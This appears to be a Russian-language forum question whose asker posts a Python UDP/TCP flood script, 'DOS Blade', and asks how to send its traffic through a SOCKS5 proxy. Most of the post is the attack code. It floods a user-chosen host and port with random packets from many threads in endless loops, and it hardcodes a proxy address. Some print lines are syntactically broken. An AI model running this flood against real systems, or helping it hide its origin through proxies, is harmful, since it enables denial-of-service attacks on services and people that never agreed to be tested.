#python #proxy #denial-of-service
Вопрос:
Недавно я создал скрипт на Python, в основном для углубления моего понимания атак типа «отказ в обслуживании» с использованием метода Syn flood. Сценарий работает нормально, я просто хочу знать, как добавить прокси-сервер, чтобы я тоже мог протестировать эти эффекты, я просто чувствую себя более комфортно, тестируя свой собственный код, поэтому я бы предпочел пока не использовать другие продвинутые инструменты.
#!/usr/bin/env python3
#Code by Vexploit
import random
import socket
import threading
proxy = {
"SOCKS5": "43.132.178.143:1080" #Proxy Server
}
print("--> Welcome to Vexploit's DOS Blade! <--")
print("#-- TCP/UDP FLOOD --#")
ip = str(input(" Host/Ip: "))
port = int(input(" Port: "))
choice = str(input(" UDP(y/n): "))
times = int(input(" Packets per one connection: "))
threads = int(input(" Threads: "))
def run():
data = random._urandom(1024)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = (str(ip),int(port))
for x in range(times):
s.sendto(data,addr)
print(i " Sent!!!")
except:
print("[!] Error!!!")
def run2():
data = random._urandom(16)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(data)
for x in range(times):
s.send(data)
print(i " Sent!!!")
except:
s.close()
print("[*] Error")
for y in range(threads):
if choice == 'y':
th = threading.Thread(target = run)
th.start()
else:
th = threading.Thread(target = run2)
th.start()